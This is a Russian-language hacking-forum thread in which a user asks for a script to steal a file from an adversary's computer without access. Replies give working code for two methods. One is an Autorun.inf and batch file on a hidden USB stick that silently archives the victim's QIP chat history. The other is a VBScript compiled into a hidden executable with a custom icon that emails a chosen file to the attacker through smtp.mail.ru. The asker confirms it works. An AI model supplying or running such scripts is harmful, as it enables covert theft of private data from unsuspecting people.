У моего "вражилы" на компе есть файл(его расположение я знаю,но доступа к компу "вражилы" не имею ).
Можете ли вы дать мне исходник батника который будет оправлять мне на E-mail(поэтому я и добавил сюда эту тему)сообщение с файлом.
Заранее спасибо

ещё раз прочитай что ты написал ***ню полную
какой нах. батник ?

Батник- .bat файл =)

загляни сюда https://hpc.name/showthread.php?t=33850&highlight=Bat и сюда https://hpc.name/showthread.php?t=12626&highlight=Bat

Цитата:

Сообщение от Botbad

Создаешь себе вот ети 4 вещи--->

1) Autorun.inf
содержание:
[autorun]
ShellExeCute="zzz.bat" где zzz.bat-название твоего батника
2) zzz.bat
содержание:
@Echo off
c:
chdir C:\Program Files\QIP\Users -- путь до файла
e:\rar.exe a -r users > nul
copy users.rar e:\123 > nul
del users.rar > nul

3)скопируй Rar.exe -C:\Program Files\WinRAR
4)создай папку 123

получается 4 обьекта. затем берешь флешку, скидываешь их туда в корень и скрываешь )))

единственная проблема это желательно знать какое имя будет иметь твоя флешка на его компе. но если там чухан)) то можешь смело писать так
В zzz.bat

@Echo off
c:
chdir C:\Program Files\QIP\Users
e:\rar.exe a -r users > nul
copy users.rar e:\123 > nul
g:\rar.exe a -r users > nul
copy users.rar g:\123 > nul
h:\rar.exe a -r users > nul
copy users.rar h:\123 > nul
del users.rar > nul

правда выскочит пару ошибок но пох.

дай ему флеху пусть скинет тебе музла )) все скопируется- заархивируется- и попадет тебе в папку 123))

Дерзай... данный bat для копирования переписки QIP

Ты конечно извини ,но это не подходит. Ещё у кого нибудь будут варианты?

1)Скачеваешь Quick Batch File Compiler.
2)Запускаешь Quick Batch File Compiler.
3)Project -> Options -> cтавишь Ghost Application.
4)В Source пишешь:

code:


5)Открываешь Блокнот, пишешь туда:

Цитата:


Set WshShell = CreateObject("WScript.Shell")
set FSO=createobject("scripting.filesystemobject")
Call SendPost("smtp.mail.ru","КОМУ@mail.ru","ОТ_КОГО@mail.ru","ТЕМА_ПИСЬМА","ТЕКСТ")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,s trBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="ОТ_КОГО"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="ПАРОЛЬ"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
iMsg.AddAttachment "C:\ПУТЬ\ФАЙЛ.txt"
iMsg.Send
End Function
Set iMsg=Nothing
Set iConf=Nothing
Set Flds=Nothing



Сохранить как -> 1.vbs
6)В Quick Batch File Compiler переходишь во вкладку Include и добавляешь файл 1.vbs
7)Во вкладке Custom Resources выбираешь иконку.
8)Нажимаешь F9.
P.S Можно просто дать 1.vbs.

ЭЭЭЭ...не приходит )))

А нет. Всё пришло ))) Спасибо.

Nomoq Как сделать так! что бы при НЕ нахождении файла для скачки он не выдовал ошибку,а продолжал искать и качать другие..(которые были указаны)